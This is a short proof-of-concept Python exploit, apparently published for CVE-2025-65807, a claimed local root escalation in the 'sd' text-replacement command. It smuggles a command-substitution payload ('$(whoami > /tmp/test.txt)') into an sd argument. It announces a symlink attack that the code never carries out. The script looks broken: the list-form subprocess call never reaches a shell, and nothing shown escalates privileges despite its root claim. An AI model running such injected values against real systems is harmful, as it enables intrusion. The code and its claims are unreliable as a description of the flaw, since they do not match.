CVE-2025-65807 sd命令本地权限提升漏洞

# CVE-2025-65807 PoC - sd command Privilege Escalation # Reference: https://gist.github.com/faabbi/827f10e144fdd342e13a3dd838902e83 import subprocess import os def exploit_sd_privilege_escalation(): """ This PoC demonstrates the privilege escalation vulnerability in sd command v1.0.0 and before. The vulnerability allows local attackers to escalate privileges to root via crafted commands. Note: This is a simplified demonstration. Actual exploitation may require specific conditions. """ # Method 1: Exploitation via crafted command argument # Attackers can use special characters or command injection malicious_input = "$(whoami > /tmp/test.txt)" try: # Attempt to trigger the vulnerability result = subprocess.run( ['sd', malicious_input, 'replacement', '/tmp/test'], capture_output=True, timeout=5 ) print(f"Command executed with result: {result.returncode}") except Exception as e: print(f"Error: {e}") # Method 2: Exploitation via symlink attack # Creating malicious symlinks to trigger privilege escalation target_file = "/tmp/malicious_target" # Cleanup if os.path.exists("/tmp/test.txt"): os.remove("/tmp/test.txt") if os.path.exists(target_file): os.remove(target_file) if __name__ == "__main__": print("CVE-2025-65807 Privilege Escalation PoC") print("Target: sd command v1.0.0 and before") print("Vulnerability: Local privilege escalation to root") exploit_sd_privilege_escalation()